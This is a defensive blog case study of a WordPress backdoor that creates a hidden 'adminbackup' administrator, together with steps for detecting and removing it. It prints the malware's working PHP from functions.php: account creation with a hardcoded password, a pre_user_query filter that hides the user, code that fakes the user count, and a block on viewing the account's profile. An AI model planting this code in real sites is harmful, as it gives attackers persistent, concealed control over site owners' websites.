How to Find and Remove Hidden Admin Users in WordPress (Malware Analysis)
Have you ever looked at your WordPress user dashboard and felt like the math didn’t quite add up? Maybe your dashboard says “All Users (1)”, but a plugin counter says “2”?
This is not a database glitch. It is often the footprint of a sophisticated malware infection designed to maintain a “backdoor” into your website.
In this case study, we break down a specific infection we recently encountered: the adminbackup user hack. We will analyze exactly how the malware hid the user from the interface, why the numbers didn’t match, and how we removed it.
The Symptom: When 1 + 0 = 2
The infection started with a subtle anomaly. Upon logging into the WordPress dashboard to check the user list, everything looked normal at first glance.
- Visible Users: 1 (The main Administrator)
- “All” Count: (1)
- “Administrator” Count: (1)
However, looking closer at the filter bar, we noticed a discrepancy caused by a Two-Factor Authentication (2FA) plugin:
- 2FA Active: (0)
- 2FA Inactive: (2)
The math didn’t work. If there is only 1 user on the site, how can 2 users have inactive 2FA?

This discrepancy is the hallmark of a Hidden Administrator Hack. The malware was clever enough to lie to WordPress, but it forgot to lie to the 3rd party 2FA plugin.
The Discovery: Malicious Code in functions.php
After a file integrity scan, we located the culprit hiding inside the active theme’s functions.php file. This is a common hiding spot because functions.php is loaded on every page load, ensuring the malware always runs.
The malware was creating a user named adminbackup with the email adminbackup@wordpress.org.
1. The Injection Mechanism
The malware first checks if the user exists. If not, it creates it silently.
$params = array(
'user_login' => 'adminbackup',
'user_pass' => 'o8Qcdaevd9', // Hardcoded malicious password
'role' => 'administrator',
'user_email' => 'adminbackup@wordpress.org'
);
if (!username_exists($params['user_login'])) {
$id = wp_insert_user($params);
update_option('_pre_user_id', $id);
}
Why this is dangerous: Even if you delete the user, as soon as someone visits the site, this code runs and recreates the admin immediately.
The Technical Deep Dive: How the User Was Hidden
The most interesting part of this malware is not that it created a user, but how it made that user invisible to the site owner.
The malware utilized native WordPress hooks to blind the administrator. It did this in two distinct steps:
Step 1: Modifying the Database Query
WordPress uses the WP_User_Query class to fetch users from the database. The malware intercepted this query using the pre_user_query hook to filter itself out.
function wp_enqueue_async_script($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id'); // The ID of the malicious user
global $wpdb;
// Inject SQL to exclude the malicious ID
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
Translation: The code tells the database: “Fetch all the users, EXCEPT the one with this specific malware ID.” This is why the row for adminbackup never appeared in the table list.
Step 2: Faking the “Counts”
Even if the user is hidden from the list, the “All (2)” count at the top of the page would normally give it away. To cover its tracks, the malware modified the HTML of the views to mathematically subtract 1 from the total.
function wp_generate_dynamic_cache($views) {
// Explode the HTML string to find the count number
$html = explode('<span class="count">(', $views['all']);
$count = explode(')</span>', $html[1]);
// Mathematically subtract 1 from the real count
$count[0]--;
// Rebuild the HTML string
$views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];
return $views;
}
The Mistake: Why We Caught It
The malware developer hard-coded this logic for the standard WordPress views. They did not account for custom views added by plugins. The 2FA plugin added a column for “2FA Inactive”. The malware didn’t know to subtract 1 from that specific view.

The “Protection” Mechanism
The malware also included a fail-safe. If a savvy admin guessed the ID of the hidden user and tried to navigate directly to their profile (e.g., user-edit.php?user_id=123), the malware blocked access:
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
It forces an “Invalid User ID” error, making the admin think the user doesn’t actually exist, discouraging further investigation.
Remediation: How to Remove the Hidden Admin
If you find yourself in this situation, you cannot simply “delete” the user via the dashboard, because the code will recreate it immediately. Follow this exact cleanup process:
- Access Your Files (FTP/File Manager): Do not try to fix this from inside the WordPress dashboard. You need server access (cPanel or SFTP).
- Locate and Clean
functions.php: Navigate towp-content/themes/your-active-theme/functions.php. Look for the malicious code blocks shown above. Delete the code entirely and save the file. - Remove the Malicious User: Now that the “cloaking” code is gone, the user will be visible.
- Refresh your WordPress Users page.
- You will now see adminbackup in the list.
- Hover over the user and click Delete.

- Update Your Salts and Passwords: Since a hacker had administrative access, you must assume all sessions are compromised.
- Update WordPress Salts: Edit your
wp-config.phpfile and replace the salt keys. This forces a logout for everyone. - Change Passwords: Change the passwords for all legit Administrator accounts.
- Update WordPress Salts: Edit your
Summary
This case study highlights the importance of paying attention to small details in your WordPress dashboard.
- Trust the inconsistencies: If numbers don’t match, investigate.
- Check
functions.php: It is the most common home for this type of malware. - Use Activity Logs: An activity log plugin would have recorded the creation of the user
adminbackup, even if the user list hid it.
Have you noticed a user count mismatch on your WordPress site? Don’t ignore it. It might be the only clue you have that someone else is holding the keys to your website.
